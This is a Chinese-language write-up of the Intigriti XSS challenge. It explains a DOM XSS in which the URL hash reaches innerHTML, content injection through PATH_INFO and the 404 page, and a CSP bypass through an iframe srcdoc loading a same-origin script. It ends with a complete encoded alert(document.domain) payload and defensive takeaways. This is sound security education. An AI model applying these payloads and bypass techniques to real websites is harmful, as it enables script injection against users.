一道XSS题目分析

2020-04-21 8,008

目录

0x00 介绍

题目地址:https://challenge.intigriti.io/

1.png

题目的要求是绕过CSP实现XSS,执行alert(document.domain)

0x01 解决

页面中加载了个script.js

var hash = document.location.hash.substr(1);if(hash){
  displayReason(hash);
}document.getElementById("reasons").onchange = function(e){  if(e.target.value != "")
    displayReason(e.target.value);
}function reasonLoaded () {    var reason = document.getElementById("reason");
    reason.innerHTML = unescape(this.responseText);
}function displayReason(reason){  window.location.hash = reason;  var xhr = new XMLHttpRequest();
  xhr.addEventListener("load", reasonLoaded);
  xhr.open("GET",`./reasons/${reason}.txt`);
  xhr.send();
}

这是个典型的DOM XSS,source为document.location.hash,sink为innerHTML

xhr的响应传入innerHTML前先进行了unescape(),所以可以找个网站自身的content injection来放payload,即使url编码了也无所谓。

接下来就是寻找content injection的点了,我找到的第一处是利用404页面回显:

https://challenge.intigriti.io/<404>

2.png


但是尖括号被替换成了横线,这就无法利用了。

注意到响应头中的x-powered-by: PHP/7.2.29,服务端是php写的。通过一番尝试后,我发现服务器开了PATH_INFO,可以通过如下形式注入内容到网页中:

https://challenge.intigriti.io/index.php/%253cINJECT%253e/a

3.png


成功将URL编码后的尖括号注入到了页面中。

来注入个"><s>XSS</s>试试效果,

https://challenge.intigriti.io/#../index.php/123%2522%253e%253c%2573%253e%2558%2553%2553%253c%252f%2573%253e/a

4.png

html标签可以被正常解析,XSS已成功一半了。

由于这个DOM XSS由innerHTML触发,所以不能用<script>标签来触发XSS,而要用<img>等标签的事件来触发。

接下来看看CSP规则:

content-security-policy: default-src 'self'

遇到CSP我通常拿到 https://csp-evaluator.withgoogle.com/ 去评估下,本题这个CSP相当简单/严格了,无法执行内联脚本。

<script src=//challenge.intigriti.io/xx>似乎是唯一能执行JS的方式,但是先前已经说了这个payload在innerHTML中无法执行。

不过我发现了一种绕过这个限制的方法,使用iframe的srcdoc属性来渲染<script>标签:

<iframe srcdoc='<script>alert()</script>'></iframe>

由于CSP限制了不能执行内联js,所以这里要用script的src属性。default-src限制了src只能为当前域内,所以需要找一个网站本身的content injection来存放js代码。

之前我们已经发现了一处,那就是404页面。不过,我们还需要确认404页面能被构造成合适的js代码,来触发我们的XSS。

5.png

不难发现,响应是可以构造成合法的js语句的。第一部分是一个数字,第二部分是减号,第三部分闭合掉单引号成为字符串。只要保证这前面的正常执行,后续的XSS payload就能被执行。

故可以这样构造:
6.png
这就是一段可执行的的js代码了,
7.png


然后把url填到src中:

<iframe srcdoc="<script src=//challenge.intigriti.io/'-alert(document.domain)-'></script>"></iframe>

将其url编码两次填入到hash部分,最终的payload为:

https://challenge.intigriti.io/#../index.php/123%2522%253e%253c%2569%2566%2572%2561%256d%2565%2520%2573%2572%2563%2564%256f%2563%253d%2522%253c%2573%2563%2572%2569%2570%2574%2520%2573%2572%2563%253d%252f%252f%2563%2568%2561%256c%256c%2565%256e%2567%2565%252e%2569%256e%2574%2569%2567%2572%2569%2574%2569%252e%2569%256f%252f%2527%252d%2561%256c%2565%2572%2574%2528%2564%256f%2563%2575%256d%2565%256e%2574%252e%2564%256f%256d%2561%2569%256e%2529%252d%2527%253e%253c%252f%2573%2563%2572%2569%2570%2574%253e%2522%253e%253c%252f%2569%2566%2572%2561%256d%2565%253e/a#

8.png

0x02 总结

从这道题可以学到的一些技巧:

  • 即使从将同域的xhr响应传入xss source也不一定是安全的,需要进行过滤;

  • 利用iframe的srcdoc属性可以绕过innerHTML不解析<script>的限制

  • 利网站本身的content injection可以绕过一些严格的CSP规则

  • 在寻找content injection的点时,重点关注404页面、报错页面、jsonp接口、meta标签等。


本文作者:少林功夫好啊

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/128882.html

Tags:
评论  (0)
快来写下你的想法吧!

少林功夫好啊

文章数:3 积分: 48

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号